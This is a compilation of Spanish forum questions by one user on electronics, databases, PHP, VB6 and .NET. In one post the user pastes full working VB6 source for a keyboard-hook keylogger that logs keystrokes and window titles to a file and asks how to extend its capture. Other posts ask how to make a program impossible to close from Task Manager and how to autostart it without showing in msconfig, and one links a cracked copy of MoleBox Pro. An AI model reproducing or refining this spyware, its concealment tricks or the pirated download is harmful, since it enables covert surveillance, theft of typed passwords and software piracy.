Temas

Estimados, buenas noches

Quisiera que me pudieran brindar su ayuda con el siguiente proyecto personal. Lo que sucede es que tengo un adaptador genérico smart para focos





que cuenta con un relay WRG RJ-SS-105DM1 (SPST) datasheet y desearía saber que relay de tipo SPDT puede ser compatible para reemplazar al actual relay y como cambiaría la conexión de los cables de entrada (rojo y/o azul)

En las siguientes fotos se pueden apreciar los detalles del adaptador, el diagrama del circuito (hecho a mano) y el objetivo del proyecto. La idea es poder hacer finalmente una conexión en escalera entre el adaptador (con el relay modificado) y un switch de pared de 3 puntos para encender un foco

El voltaje que tengo en casa es de 220v

Gracias por todo de antemano

Saludos,

Hola,

Tengo el siguiente script.

Código [Seleccionar] Expandir


/*!40101 SET NAMES utf8 */;

/*!40101 SET SQL_MODE=''*/;

/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
CREATE DATABASE /*!32312 IF NOT EXISTS*/`cascadeupdate` /*!40100 DEFAULT CHARACTER SET utf8 */;

USE `cascadeupdate`;

/*Table structure for table `element` */

DROP TABLE IF EXISTS `element`;

CREATE TABLE `element` (
  `element_id` int(11) NOT NULL AUTO_INCREMENT,
  `pool_pool_id` int(11) NOT NULL,
  `element` varchar(45) DEFAULT NULL,
  `status` char(1) DEFAULT '1',
  PRIMARY KEY (`element_id`),
  KEY `fk_element_pool1_idx` (`pool_pool_id`,`status`),
  CONSTRAINT `fk_element_pool1` FOREIGN KEY (`pool_pool_id`, `status`) REFERENCES `pool` (`pool_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

/*Data for the table `element` */

insert  into `element`(`element_id`,`pool_pool_id`,`element`,`status`) values (1,1,'element 1','1'),(2,1,'element 2','1'),(3,1,'element 3','1');

/*Table structure for table `flowchart` */

DROP TABLE IF EXISTS `flowchart`;

CREATE TABLE `flowchart` (
  `flowchart_id` int(11) NOT NULL AUTO_INCREMENT,
  `flowchart` varchar(45) DEFAULT NULL,
  `process_process_id` int(11) NOT NULL,
  `status` char(1) DEFAULT '1',
  PRIMARY KEY (`flowchart_id`),
  UNIQUE KEY `index2` (`flowchart_id`,`status`),
  KEY `fk_flowchart_process1_idx` (`process_process_id`,`status`),
  CONSTRAINT `fk_flowchart_process1` FOREIGN KEY (`process_process_id`, `status`) REFERENCES `process` (`process_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/*Data for the table `flowchart` */

/*Table structure for table `lane` */

DROP TABLE IF EXISTS `lane`;

CREATE TABLE `lane` (
  `lane_id` int(11) NOT NULL AUTO_INCREMENT,
  `pool_pool_id` int(11) NOT NULL,
  `lane` varchar(45) DEFAULT NULL,
  `status` char(1) DEFAULT '1',
  PRIMARY KEY (`lane_id`),
  KEY `fk_lane_pool_idx` (`pool_pool_id`,`status`),
  CONSTRAINT `fk_lane_pool` FOREIGN KEY (`pool_pool_id`, `status`) REFERENCES `pool` (`pool_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

/*Data for the table `lane` */

insert  into `lane`(`lane_id`,`pool_pool_id`,`lane`,`status`) values (1,1,'lane 1','1'),(2,1,'lane 2','1'),(3,1,'lane 3','1');

/*Table structure for table `pool` */

DROP TABLE IF EXISTS `pool`;

CREATE TABLE `pool` (
  `pool_id` int(11) NOT NULL AUTO_INCREMENT,
  `pool` varchar(45) DEFAULT NULL,
  `status` char(1) DEFAULT '1',
  PRIMARY KEY (`pool_id`),
  UNIQUE KEY `index2` (`pool_id`,`status`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

/*Data for the table `pool` */

insert  into `pool`(`pool_id`,`pool`,`status`) values (1,'pool 1','1');

/*Table structure for table `process` */

DROP TABLE IF EXISTS `process`;

CREATE TABLE `process` (
  `process_id` int(11) NOT NULL AUTO_INCREMENT,
  `process` varchar(45) DEFAULT NULL,
  `status` char(1) DEFAULT '1',
  PRIMARY KEY (`process_id`),
  UNIQUE KEY `index2` (`process_id`,`status`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/*Data for the table `process` */

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;



Es una bd con 3 tablas relacionadas entre si

Lane<---Pool--->Element

Mi objetivo es implementar el UPDATE CASCADE, así cuando updateo el status=0 de Pool
el status de Lane y Element también sea 0. Hasta aquí todo bien, el problema es cuando quiero actualizar el status del Lane o del Element sin tener que actualizar el status de Pool. Me salta el siguiente error

Código [Seleccionar] Expandir


<e>Query: update lane set status = 0

Error Code: 1452
Cannot add or update a child row: a foreign key constraint fails (`cascadeupdate`.`lane`, CONSTRAINT `fk_lane_pool` FOREIGN KEY (`pool_pool_id`, `status`) REFERENCES `pool` (`pool_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE)


Obviamente el error se da por la llave compuesta (`pool_id`, `status`)...

Cómo puedo arreglar esto? Para poder hacer status = 0 a Element o Lane pero sin perder el UPDATE CASCADE que tienen con Pool


Gracias

Buenas gente!

Una pregunta... con que programa puedo hacer este tipo de animaciones para mis presentaciones?

https://www.youtube.com/watch?v=rK6WLHNYjwM

Gracias de antemano

Hola comunidad,

Actualmente estamos desarrollando un pequeño módulo de envios de correos en un sistema web php-mysql para lo cual se está haciendo uso del phpmailer

El problema es que como son muchas las invitaciones/comunicaciones que se envían a través del sistema utilizando la cuenta de gmail, ésta tiene restricciones en la cantidad de envíos que se realizan por hora/dia Por lo que recurro a ustedes para que me puedan aconsejar al respecto

Podría ser que la mejor opción sea implementar un servidor de correos en el server? En todo caso, unicamente lo utilizaríamos para el envio mas no para leer ni para administrar cuentas de correo ya que para eso utilizamos el mismo gmail Algún buen tuto del cual pueda tener referencias para poder implementarlo?

gracias

Hola

Actualmente tengo un dominio llamado, por ejemplo, carros2013.com y estoy pensando en adquirir otro llamado carro2013.com (el ultimo no es en plural)

Mi duda es: para poder hacer siempre un redireccionamiento a carros2013.com cada vez que se ingrese a carro2013.com es necesario adquirir (comprar) este último? Una vez comprado, como configuraría el redireccionamiento entre esos 2 dominios? Como funcionan los procesos de redireccionamiento de este tipo?

gracias

Hola

Actualmente tengo un dominio llamado, por ejemplo, carros2013.com y estoy pensando en adquirir otro llamado carro2013.com (el ultimo no es en plural)

Mi duda es: para poder hacer siempre un redireccionamiento a carros2013.com cada vez que se ingrese a carro2013.com es necesario adquirir (comprar) este último? Una vez comprado, como configuraría el redireccionamiento entre esos 2 dominios? Como funcionan los procesos de redireccionamiento de este tipo?

gracias

[Tabla:]

Hola!

Tengo una duda respecto al formato de un Dato (cadena) que encontré recientemente en un script de BD; precisamente en una tabla del Plugin NinjaForms del WordPress (WP)

Tabla: vel_ninja_forms_subs
Campo: data
Dato: a:3:{i:0;a:2:{s:8:"field_id";i:23;s:10:"user_value";s:5:"Heidy";}i:1;a:2:{s:8:"field_id";i:24;s:10:"user_value";s:15:"heidy@aaksd.com";}i:2;a:2:{s:8:"field_id";i:25;s:10:"user_value";s:19:"akjhfkjadhkajdhkjas";}}

Le veo un parecido con el formato JSON... Mi duda es: existe el formato de dicha cadena? O es una variación que maneja internamente el WP como propia?


Gracias

Holas!

Tengo un problema


He implementado un server y un proxy (ambos con debian) para una pequeña red. La cuestion es q estare de viaje y tengo q subir algunos archivos q tengo q actualizar en el server Actualmente de manera local lo hago con WinSCP ...Como puedo conectarme a mi server desde internet para poder hacer actualizaciones desde otro lugar q no sea una PC local??

Las actualizaciones las haria desde una laptop con Win7 ... Podria hacerlo tb con WinSCP??   

gracias

Hola gente! 

Tengo unas dudas He levantado un proxy con debian con su respectivo squid y toda la cosa para lo q es seguridad y  todo bien hasta ahi 

... mi duda es si es q existe algun servicio para:

1. Ver el historial de todas las paginas visitadas (diaria,semanal y mensualmente) de cada IP de mi red
2. Ver (en tiempo real) si es q alguna IP esta descargando algo, de donde lo esta descargando, a q velocidad, etc

cualquier info q me puedan brindar por favor 


gracias

Holas gente

Buscando por el foro y encontre un code muy interesante elaborado por Karcrack  para poder construir un keylogger con hook y no con timer  

Pero el problema es q lo estuve probando y  no guarda las combinaciones con la tecla Alt para los codigos ascii (ni siquiera cnd esta se presiona sola)

Por ejem:

Si presiono Alt+64= @,
Alt+93= ], Alt+36= $ ... etc, etc  ... No las guarda en el log

Caso contrario con el shift q combinada con otra tecla, si la guarda correctamente

A q se debe esto?? Como podria arreglarlo??

Este es el code

Código [Seleccionar] Expandir


Option Explicit

'|||||||||||||||||||||||
'|                     |
'|Autor: Karcrack      |
'|Fecha: 24/09/08      |
'|                     |
'|||||||||||||||||||||||


Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL   As Long = 13

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Type KBDLLHOOKSTRUCT
    VkCode                  As Long
    ScanCode                As Long
    Flags                   As Long
    Time                    As Long
    DwExtraInfo             As Long
End Type

Dim KBHook                  As Long
Dim KeyData                 As String
Dim lHwnd                   As Long

Public Sub ManageKeylogger(ByVal Enable As Boolean)
    Select Case Enable
        Case True
            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        Case False
            Call UnhookWindowsHookEx(KBHook)
    End Select
End Sub

Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    Dim KeyBoardHook        As KBDLLHOOKSTRUCT

    If nCode = 0 Then
        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
        With KeyBoardHook
            If .Flags = 0 Or .Flags = 1 Then
                If SaveLog(TranslateKey(.VkCode)) > 50 Then
                    Call LogToFile(App.Path & "\Log.log")
                End If
            End If
        End With
    Else
        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
    End If
End Function

Private Function TranslateKey(ByVal KeyCode As Long) As String
    Dim LngShift            As Long

    'Funcion optimizada para su uso en teclados españoles.

    LngShift = GetAsyncKeyState(vbKeyShift)
    If KeyCode >= 58 And KeyCode <= 90 Then
        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
        TranslateKey = Chr(KeyCode - 48)
    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
        TranslateKey = "{F" & KeyCode - 111 & "}"
    Else
        If KeyCode = 160 Then TranslateKey = ""
        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
        If KeyCode = 27 Then TranslateKey = "{ESC}"
        If KeyCode = 46 Then TranslateKey = "{DEL}"
        If KeyCode = 36 Then TranslateKey = "{HOME}"
        If KeyCode = 35 Then TranslateKey = "{END}"
        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
        If KeyCode = 45 Then TranslateKey = "{PASTE}"
        If KeyCode = 144 Then TranslateKey = "{NUM}"
        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
        If KeyCode = 13 Then TranslateKey = "{ENTER}"
        If KeyCode = 8 Then TranslateKey = "{BACK}"
        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
        If KeyCode = 9 Then TranslateKey = "{TAB}"
        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
        If KeyCode = 164 Then TranslateKey = "{ALT}"
        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
        If KeyCode = 145 Then TranslateKey = "{ROLL}"
        If KeyCode = 44 Then TranslateKey = "{PRINT}"
        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
    End If
End Function

Public Function SaveLog(ByVal sKey As String) As Double
    Dim aHwnd               As Long
    Dim WinText             As String
    aHwnd = GetForegroundWindow

    If aHwnd <> lHwnd Then
        lHwnd = aHwnd
        WinText = String$(255, Chr$(0))
        Call GetWindowText(aHwnd, WinText, Len(WinText))
        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)

        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
    End If

    KeyData = KeyData & sKey

    SaveLog = Len(KeyData)
End Function

Public Sub LogToFile(ByVal sPath As String)
    Open sPath For Binary As #1
        Put #1, , KeyData
    Close #1
End Sub



Gracias por todo

Hola que tal ...hace unos días me estoy iniciando en el mundo de PHP y MySQL (ya que ya tengo tiempo desarrollando en .NET) y tengo las siguientes dudas...

1.   Como llamo a un MySQL stored procedure (SP)  con varios parámetros desde PHP??

He creado el siguiente SP

CREATE DEFINER = 'root'@'localhost' PROCEDURE `_Proveedores`(IN _TipoConsulta TINYINT, IN _IdProveedor INTEGER, IN _NombreCompania VARCHAR(40), IN _Direccion VARCHAR(60), IN _Telefono VARCHAR(24), IN _NombreContacto VARCHAR(30), IN _CargoContacto VARCHAR(30),IN _listaInicio INTEGER)
BEGIN


/*UPDATE*/
IF _TipoConsulta=1 THEN
UPDATE proveedores
   SET NombreCompañía = _NombreCompania,
       Dirección = _Direccion,
       Teléfono=_Telefono,
       NombreContacto = _NombreContacto,
       CargoContacto = _CargoContacto
WHERE IdProveedor=_IdProveedor;

/*LISTAR PROVEEDORES*/
ELSEIF _TipoConsulta=2 THEN
SELECT IdProveedor,NombreCompañía,Dirección,Teléfono,NombreContacto,CargoContacto
FROM proveedores LIMIT _listaInicio,5;

/*INSERT*/
ELSEIF _TipoConsulta=3 THEN
INSERT INTO proveedores
           (NombreCompañía
         ,Dirección
           ,Teléfono
           ,NombreContacto
           ,CargoContacto)
     VALUES
           (_NombreCompania
           ,_Direccion
           ,_Telefono
           ,_NombreContacto
           ,_CargoContacto);

/*DELETE*/
ELSEIF _TipoConsulta=4 THEN
DELETE FROM proveedores
WHERE IdProveedor=_IdProveedor;
END IF;

END;

El SP no me genera ningún error al compilarlo ...a simple vista si se entiende lo que deseo hacer no??
Bueno la cuestion es q este SP de acuerdo a los parámetros q se le pasen hara determinada cosa


En mi codigo PHP he intendado llamarlo dentro de una funcion asi:

...
...

$consulta="CALL _Proveedores(2,null,null,null,null,null,null,$listaInicio)";
      $resultado=mysql_query($consulta,$cnn);

        while ($registro=mysql_fetch_array($resultado))
      {
         $coleccion[]=$registro;
        }   
           
        mysql_close($cnn);
      
        return $coleccion;//esto seria lo q devuelve mi funcion

Y he obtenido el error:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in...

Supongo que, o bien el SP esta siendo mal llamado...(tal vez no es con mysql_query) o estoy pasando mal los parámetros por lo q el SP no retorna ningun registro...

2.   Esta bien como asigno los parámetros al SP desde PHP??

Al llamar al SP este deberia devolverme un primer grupo de 5 Proveedores desde $listaInicio (x ejem si $listaInicio fuera 0  me devolveria los primeros 5 Proveedores ) y estos ser guardados en $coleccion

3.   Necesariamente  tengo que especificar los otros parámetros como null??

Estos parámetros innecesarios (en esta funcion) deben ser pasados como null desde el codigo PHP?? O desde el mismo SP?? ... (Como se haria esto ultimo??)

Por ejem en . NET yo hago lo siguiente (Disculpas por poner este codigo .NET pero es solo con motivos a un mayor entendimiento a mi consulta ...si se desea tal vez dsps se puede borrar jejeje )

CREATE proc [dbo].[_Proveedores]
@Tipoconsulta tinyint=null,
@IdProveedor int=null,
@NombreCompañía nvarchar(40)=null,
@Dirección nvarchar(60)=null,
@Teléfono nvarchar(24)=null,
@NombreContacto nvarchar(30)=null,
@CargoContacto  nvarchar(30)=null
as

--UPDATE
if @Tipoconsulta=1
Begin
UPDATE Proveedores
   SET [NombreCompañía] = @NombreCompañía,
       [Dirección] = @Dirección,
       [Teléfono]=@Teléfono,
       [NombreContacto] = @NombreContacto,
       [CargoContacto] = @CargoContacto


WHERE IdProveedor=@IdProveedor
End

--LISTAR PROVEEDORES
else if @Tipoconsulta=2
begin
SELECT IdProveedor,NombreCompañía,Dirección,Teléfono,NombreContacto,CargoContacto
FROM Proveedores
End

...etc
...etc

En este caso los parámetros del SP se pasan como null desde el mismo SP, esto me hace q al llamar el SP desde (x ejem) ASP.NET ya no declare como null todos los demas parámetros que no necesito para determinada funcion , es decir para listar todos los Proveedores solo tendria q pasarle el @Tipoconsulta=2 y el olvidarme del resto de param

En MySQL los parametros de los SP no llevan @ no??

Por lo dicho anteriormente mi funcion lo llamaria al SP de la sigte manera (desde ASP.NET con C#):

...
...

SqlCommand consultasql = new SqlCommand("_Proveedores", cnn);
consultasql.CommandType = System.Data.CommandType.StoredProcedure;
consultasql.Parameters.Add("@Tipoconsulta", System.Data.SqlDbType.TinyInt).Value = 2;

...
...

Con esto ya no se tendria q poner null a todos los demas parametros q no son utilizados 

Creo q con todo esto se entendio lo q desearia poder hacer pero con MySQL y PHP...es esto posible???...un poco de orientación (o regaño por pensar en hacer cosas q no se pueden hacer jejeje) no me vendria nada mal 

...gracias por todo de antemano

Salu2 

Holas gente tengo un problema... lo que pasa es q tengo un procedimiento shared dentro de mi clase y en este sub modifico la propiedad de un control de mi formulario y al llamarlo no me modifica la propiedad...el codigo q tengo es algo asi

En el frmPrincipal tengo un picturebox llamado pbMiPicturebox
Tengo un archivo de recursos llamado misImagenes en donde tengo mis fotos
y tengo una clase llamada miClase y dentro de ella tengo un sub llamado imagenPb

public class miClase
   public shared sub imagenPb(pb as picturebox)
      frmPrincipal.pb.image=My.resource.misImagenes.Foto
   end sub
end class

dentro del frmPrincipal llamo a este sub dentro del evento click de un boton

...
miClase.imagenPb(pbMiPicturebox)
...

y con esto supuestamente deberia de poner mi foto en el pbMiPicturebox pero nada, este aparece vacio...

Es obvio q si en vez del sub pongo directamente este codigo dentro del evento clic

pbMiPicturebox.image=My.resource.misImagenes.Foto

si funciona...

A q se debe esto????

Holas gente ... estoy buscando un programa para que me ayude hacer esto, lo q pasa es q no tengo internet en casa y tengo q estar llendo a cabinas para transformar algunos codigos :-/
En internet utilizo esta pagina, de otras tantas http://labs.developerfusion.co.uk/convert/csharp-to-vb.aspx
pero como les digo hay veces en q tengo q trabajar en casa y no tengo mucho tiempo para ir a las cabinas :S

gracias por todo de antemano

Holas gente q tal ...tengo un problema

Lo q pasa es q necesito hacer el script de toda una base de datos es decir SPs, Triggers, Tablas (con todos sus datos) y demas... incluida la misma Base de datos, es decir q me cree un script q al copiarlo, pegarlo y ejecutarlo en una nueva consulta me Cree todo desde la base de datos y todo lo q contiene (incluyendo las tablas con todos sus datos)

He encontrado algunas cosas pero no me hacen el script de todo...solo hacen el scrpit de algunas cosas... ademas no me permitian seleccionar las cosas a las cuales yo queria q sacara el script

Si me pudieran ayudar por favor ...q es urgente...gracias por todo de antemano

Holas gente!! tengo el sgte problema

Tengo un DGV q le he agregado algunas columnas antes de llenarlo con datos
La llenada del DGV esta en el evento Click del btnLlenar y este es el code

Código [Seleccionar] Expandir

MsgBox(dgvCargo.Columns(0).DisplayIndex.ToString)
MsgBox(dgvCargo.Columns(1).DisplayIndex.ToString)

dgvCargo.DataSource = ComponenteDatos.cargoDALC.Instancia.ListarCargos

MsgBox(dgvCargo.Columns(0).DisplayIndex.ToString)
MsgBox(dgvCargo.Columns(1).DisplayIndex.ToString)

(Los msgbox son para verificar los indices de las columnas)
el primer msgbox me muestra como indice de la 1era columna un cero(0)
y el 2do msgbox me muestra como indice de la 2da columna un uno(1)

hasta ahi todo bien me muestra los indices como deben ser...

pero despues de llenarlo con el datasource los sgtes msgbox me muestran 1 y 0 respectivamente y no 0 y 1 como deberia ser...es decir me cambia internamente los indices de las columnas del DGV...xq sucede esto???...como puedo solucionarlo??


gracias por todo de antemano

holas gente!!!...tengo un problemita...como hago para poder ver estos caracteres (q si los puedo ver en word) en un text de vb6??



ya q si los pongo en un text me sale esto...



a q se debe esto???...hay alguna forma de hacer q en un programa de vb6 se vean estos caracteres iguales q en el word???...algun control especial???


gracias por todo de antemano...

el otro dia en una pc abri el taskmanager y al querer eliminar un proceso q me parecia medio raro...me aparecio esto



lo curioso es q el proceso tenia como nombre de usuario al Usuario de la Pc y no a SYSTEM...no se supone q solo los procesos q tienen como nombre de usuario a SYSTEM son los q no pueden ser cerrados ???

se podra hacer en vb6 q un programa tenga, digamos esta propiedad de no ser cancelado desde el taskmanager???

o en todo caso como podria hacer para q un programa tenga como nombre de usuario a SYSTEM

gracias por todo de antemano

Holas gente!...tengo un duda...como puedo hacer para q un dirlistbox pueda mostrar carpetas ocultas??...y si no se puede habra por ahi algun control parecido al dirlistbox q me permita hacer esto??

gracias por todo de antemano

Holas gente!..tengo un problemita con este code


Shell "reg delete hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  PC Suite Tray /f", vbHide


al ejecutarlo se supone q deberia borrar el valor alfanumerico llamado PC Suite Tray pero no lo hace...creo q es debido a q el nombre de este valor contiene espacios...he probado este code con otros valores cuyos nombres no tienen espacios y no hay ningun problema, si los elimina...el problema solo se da con este valor q tiene su nombre con espacios...como puedo hacer para solucionar este problema??

gracias por todo de antemano

Holas gente!!!...tengo una duda...como puedo detectar cuando se ha iniciado una sesion y cuando se ha cerrado esta...
algo como

If  inicióMSN then msgbox "Se inicio sesion"

If  cerróMSN then msgbox "Se cerro session"

En este caso tendría q implementar las funciones inicióMSN y cerróMSN...he intentado hacerlo con el APIMessenger pero no con muy buenos resultados...por lo que estoy tratando de hacerlo sin dicha referencia

Se podria hacer con un winsock??? osea este detectaria en cierta forma cuando uno inicia sesion si se detecta una conexion o algo al server del MSN y si se cierra sesion se supone q tambien detectaria la desconexion con ese server...bueno no estoy seguro si el winsock me permitira hacer eso...pero si es asi...como podria hacerlo???

gracias por todo de antemano

Holas gente  ... una duda ...como puedo saber q ventana(cualquier ventana de windows) tiene el foco???...osea la ventana q tiene su barra de titulo de color azul...y q un msgbox me diga el nombre de la ventana q actualmente tiene el foco

Una ventana tiene el foco cuando estamos  en ella xq iniciamos el prog o por q la restauramos o maximizamos despues de estar minimizada en la barra de tareas

gracias por todo de antemano

Esta es una pequeña prueba q hice con el molebox para empaquetar una app...

en el molebox:

   selecciono mi exe
   le agrego los dll y/o ocx q necesita
   -> pack to box
   ...success

en el root folder(carpeta donde se encuentra el EXE original junto con las dll y/o ocx) aparecen:

   .mbxcfg  (configuraciones para el empaquetado, siempre aparece)
   .exe.exe (mi ejecutable empacado pero sin su icono correspondiente. Eso se puede               arreglar despues con el reshacker)
   .txt     (log del proceso del empaquetamiento, siempre aparece)

DUDAS:

1.Con este nuevo exe empaquetado ya puedo transportarlo a cualquier pc sin las dll y/o ocx q necesita para funcionar???

2.Q pasa si una dll y/o ocx q necesita el prog no esta en la PC??? este nuevo exe lo(s) copia al system32 y lo(s) registra para poder ser utilizado(s)???

PRUEBA:

Hice un programa simple q reproducia un gif, para ello le agrege un nuevo componente .OCX (pero sin registrarlo en WIN) el proyecto lo hice .exe y luego empaque el EXE junto con su OCX, despues del proceso borre el archivo OCX y me quede con el EXE empaquetado le hice doble click y funciono! me fige en la carpeta system32 si es q estaba el OCX q borre y no estaba...con esta pequeña prueba llege a las sgtes respuestas a mis pregutnas anteriores...

1.El programa si puede ser transportado a otra Pc q no tenga los dll y/o ocx q necesita el programa, ya q como dije, antes de ejecutar el EXE empaquetado borre el OCX q necesitaba para su correcto funcionamiento y aun asi funciono.

2.El nuevo EXE no copia (a la carpeta system32) ni registra ningun dll y/o ocx q nuestro programa necesite.

A todo esto la nueva pregunta es:

Como hace el nuevo exe para ejecutarse sin necesidad de tener las dll y/o ocx q necesita e inclusive sin registrarlos en WIN???

Todo lo q e dicho anteriormente esta bien???...o no se ...tal vez se me escapo algo???...

Si alguien del foro tiene mas conocimientos sobre este molebox me gustaria q nos compartiera esa info ya q nos nos seria de gran ayuda para todos...

DESCARGAR MOLEBOX:
http://www.4shared.com/file/32920888/dd34c595/_MoleBox_Pro_v263_Cracked.html

gracias por todo

Mi conexion es ADO y es hacia una MDB (ACCESS) ... tengo el sgte problema

consultaSQL = "INSERT INTO Datos (Apellido) VALUES ('D'Marco')"
   
'Ejecuta la consulta
cn_ADO.Execute consultaSQL, , adCmdText

ERROR:
Error de sintaxis (falta operador) en la expresión de consulta "D'Marco')'.

El error es por la comilla simple q se encuentra dentro del apellido...o me equivoco??...en este caso como puedo hacer para insertar el apellido (o cualquier otra palabra con comillas simples internas) sin q me ocurra este tipo de problemas???

Holas gente...

para q sirven estos archivos en vb6??... he visto algunos de estos archivos en algunos proyectos pero al hacerles doble click en el explorador de proyectos ..nada..no me abren...

holas gente q tal ...esta vez con la sgte duda 

¿Como hago para averiguar el tipo de un archivo?

Algo asi como el explorer...

Nombre      Tamaño      Tipo                              Fecha de modificacion
==============================================
miPag         13kb          HTML Document  (**)      ...
click.exe     25kb          Aplicacion           (**)      ...


Osea q al darle la ruta de un archivo me devuelva la cadena (**) respecto al archivo q le de claro...

Holas gente...tengo otra duda 

Cuando averiguo los atributos del c:\autoexec.bat con GetAttr es = 32 'Archivo'
con click der/propiedades tmb dice q es Archivo
Pero como se sabe este archivo es oculto y del sistema, ya q no aparece a simple vista, cosa q no se comprueba en sus propiedades xq la opcion de oculto no esta con check y con el GetAttr=32...¿Xq sucede esto?...o ¿como es posible esto?

Ademas el autoexec de mi PC pesa 0kb...¿será q esta mal mi archivo?...¿pero no era un arcihvo importante del sistema?

gracias por todo

Holas gente  ... esta vez tengo una dudex...Existe otra forma de iniciar una APP junto con Win, ademas del conocido valor en  RUN del regedit y de poner  un acceso en Inicio->Programas->Inicio ????

Ya q he visto algunos virus q no estan en el msconfig/inicio ni en Inicio->Programas->Inicio y q sin embargo al encender la maq el virus se inicia...bueno por eso me surgio la duda...disculpen las molestias

gracias por todo de antemano

Holas gente!!! no se si me podran ayudar pero quisiera tener la idea de como meter un text y un boton en el area del rectangulo rojo (de la imagen) mi idea es meter el nombre de un archivo en el text luego darle click en el boton y marcar el archivo en el explorer. Creo q algo asi tiene el Win Vista.



Gracias por todo de antemano

holas gente

